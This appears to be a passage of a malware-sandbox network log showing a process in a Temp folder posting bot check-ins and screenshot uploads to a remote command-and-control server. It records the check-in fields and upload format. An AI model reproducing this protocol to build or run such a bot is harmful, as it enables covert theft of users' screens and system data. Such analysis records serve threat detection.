Nov 29, 2024 01:52:29.241084099 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:29.241101027 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:29.241189957 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49771	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:30.279799938 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49772	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:30.622848988 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:30.623014927 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:30.623014927 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:30.623039007 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:30.743060112 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:30.743096113 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:30.743227959 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:30.743244886 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:30.743391991 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:30.743454933 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:30.863496065 CET	7416	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49773	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:31.640953064 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49774	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:32.193599939 CET	196	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2da2ec123a554cc4f0e9e4f45f265c8c Host: web.jsonpost.xyz Content-Length: 102787 Cache-Control: no-cache
Nov 29, 2024 01:52:32.193667889 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 64 61 32 65 63 31 32 33 61 35 35 34 63 63 34 66 30 65 39 65 34 66 34 35 66 32 36 35 63 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2da2ec123a554cc4f0e9e4f45f265c8cContent-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:32.193718910 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:32.193742990 CET	1236	OUT	Data Raw: 5f e9 da 3d d5 a2 cb 35 cc 37 71 ea 1a 8a 32 95 cc b1 aa a0 50 7b e4 2b 3e 47 43 27 d6 99 67 0e 8f a3 5c e9 97 31 ea 50 dc 41 0e a3 04 dc c1 28 99 23 0e 18 97 1b 76 e4 00 73 b5 9b 27 a5 6a 84 50 72 14 02 7b e2 99 e4 44 4e 4c 69 ff 00 7c 8a b8 e5 Data Ascii: _=57q2P{+>GC'g\1PA(#vs'jPr{DNLi\|eK7S=[ia3e:j/&o{3[F,[oIr[<9{uXcIxc}O=+dGQL_?Y(+5y9^Z6TStO0~\>LZ<
Nov 29, 2024 01:52:32.313805103 CET	1236	OUT	Data Raw: 45 31 8d a2 97 a5 27 7a 43 13 1f 4a 4e d4 e3 c5 27 4a 06 27 7a 0f 3c f5 a2 8e 08 fe 74 0c 42 28 3e b4 13 9e 28 ed e9 40 08 47 e2 05 14 1e 3d e8 a0 61 8c 51 47 e3 46 4d 00 27 e6 69 3b f6 a5 39 cf 6a 39 a0 68 4a 4e b4 b8 e7 9a 4a 00 43 da 83 d6 97 Data Ascii: E1'zCJN'J'z<tB(>(@G=aQGFM'i;9j9hJNJC!cHG4cuQ)A@QQ'qGCh4ZJJ_Q:3uNRRGN(<M>%)(#XGj^?)QKE%((RR@EP0Q@(
Nov 29, 2024 01:52:32.313849926 CET	4944	OUT	Data Raw: ad a8 e2 a8 57 6d 52 9a 95 bb 34 ff 00 23 2a b8 6a f4 55 ea c1 c6 fd d3 5f 98 ca 4a 5a 2b 73 01 28 a5 fc 29 28 18 51 45 6a f8 6f c2 f7 de 28 fb 54 d1 de ad 95 ac 12 79 41 bc af 30 bb 01 93 c6 47 4c 8f ce b8 f1 b8 ea 78 48 a9 4d 37 7d 92 ff 00 83 Data Ascii: WmR4#*jU_JZ+s()(QEjo(TyA0GLxHM7}dzy^S[19(+kenTWg/]b!K}%_TA4+83#n$[?r2 ">->M=S{-Z]O7z
Nov 29, 2024 01:52:32.313910961 CET	4944	OUT	Data Raw: 52 f8 11 e0 d5 f8 d8 94 52 d2 11 cd 68 48 94 94 a4 50 68 1a 1b 8a 29 69 31 40 c4 a4 fa d3 8d 27 5a 00 4a 29 69 0d 03 13 19 a4 c5 3b bd 25 03 10 ff 00 9c 52 52 9a 4f e7 40 c0 83 41 a3 a5 1f ca 81 89 d7 8a 4a 5a 0f d6 80 1b d7 9e fe b4 62 97 bd 25 Data Ascii: RRhHPh)i1@'ZJ)i;%RRO@AJZb%3RRi:RRP1;{HM/jOj~13(t@zQ~4{QEi<RvZq`>sI4GA@);hPP1A4w
Nov 29, 2024 01:52:32.314012051 CET	4944	OUT	Data Raw: 52 ef 22 97 78 3f 78 66 8b 05 d9 05 18 a9 f6 a1 f6 a6 98 8f f0 90 68 b3 1d c8 b1 46 29 c5 48 ea 29 bd e9 14 14 94 b4 50 02 51 8a 28 a0 62 51 4a 69 28 01 38 a2 96 90 d0 31 28 a5 a4 a6 31 28 a5 a4 a0 02 93 de 96 92 80 0a d7 f0 cf fc 86 93 fd c6 fe Data Ascii: R"x?xfhF)H)PQ(bQJi(81(1(U[71_4N#/%M-{t?k;Xc$c81sV>uj7HFqZn.uU?INKTe61s--ZI:2}jji
Nov 29, 2024 01:52:32.314121962 CET	4944	OUT	Data Raw: 55 96 04 93 ef a8 38 f5 a8 fe c7 07 fc f3 15 a1 bf 3c 32 83 48 52 36 e9 95 a9 74 d3 dd 16 aa 34 50 fb 1c 1f f3 cc 51 f6 38 3f e7 98 fc aa e1 81 bf 84 83 51 95 65 ea 0d 4f 24 7b 17 ed 1b ea 56 fb 14 1f f3 cc 52 7d 8e 0f f9 e6 3f 2a b3 49 47 24 7b Data Ascii: U8<2HR6t4PQ8?QeO${VR}?IG${]by<V(rbP1UEVR}7#=}?*IO=.<GbRQr<I8?{8<'b
Nov 29, 2024 01:52:32.316433907 CET	2472	OUT	Data Raw: f0 41 72 c8 90 da 5a f9 4f 08 1f c2 e7 ca 5d c7 e8 cc 38 ac 3b ed 16 f3 50 6b 87 9e f1 03 4f 6c b6 ae b1 c4 a8 82 25 75 70 8a aa 00 50 0a 83 f2 81 fa 9a d4 06 f6 79 5a 5b d6 b3 96 66 7d ef 34 56 71 45 23 b7 ab 32 20 2d f8 9a d7 0f 85 c4 c6 ba 9c Data Ascii: ArZO]8;PkOl%upPyZ[f}4VqE#2 -wb9]:'EYo,bqs,Z5[B4%eDb>rNpkbn`hB;Y_jZ^]HHfFUC<zPRizZYn+FV]WMcF+j"%-?'X$
Nov 29, 2024 01:52:32.433897018 CET	2472	OUT	Data Raw: e8 fc 3d a0 5a 4f 61 2e b5 ad 4a d1 69 91 36 c5 44 fb f3 bf f7 47 b7 f9 e3 15 f9 c6 2b 11 88 cc 31 1a eb d9 76 3f 78 c9 a8 e5 f9 5e 59 1a b4 be 16 93 72 ea df 9f cf a7 43 9c dd 49 ba bb 3f f8 4a 34 48 18 47 6d e1 5b 13 00 e0 79 e0 3b 9f c4 83 fd Data Ascii: =ZOa.Ji6DG+1v?x^YrCI?J4HGm[y;kwN"]?M![fOq1Z>oaQ%jLXnLd^]^>~;[5H]1T\|ge*Cxrvw}QJ)hB^;Ry+$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49775	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:33.064846039 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49776	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:33.238214016 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:33.238248110 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:33.238317013 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:33.238332987 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:33.358444929 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:33.358491898 CET	4944	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:33.358547926 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:33.358547926 CET	1236	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:33.358565092 CET	1236	OUT	Data Raw: c8 f3 f3 aa 54 2b 61 e5 5a 2d 39 46 db 79 be bf a1 c8 d1 45 15 f5 07 c7 85 25 2d 14 01 bd e0 af f9 1b ec 3e b2 7f e8 b6 af 5e af 99 74 db 16 d5 35 3b 7b 24 9e 18 5e 77 d8 b2 4c 48 50 4f 4c 90 09 e4 f1 d3 bd 6d 45 e0 8d 55 f5 7d 47 4f 91 ed a0 3a Data Ascii: T+aZ-9FyE%->^t5;{$^wLHPOLmEU}GO:\|~d"@'>Wr}]VXj*6@V.#T]IKY-gI-O~+=cj<_\L7Ir}X~uetzqiZ?32MAs+{0Oj6u#
Nov 29, 2024 01:52:33.358645916 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:33.358771086 CET	3708	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49777	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:34.530024052 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49778	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:34.745754004 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:34.745831966 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:34.745906115 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:34.745925903 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:34.865923882 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
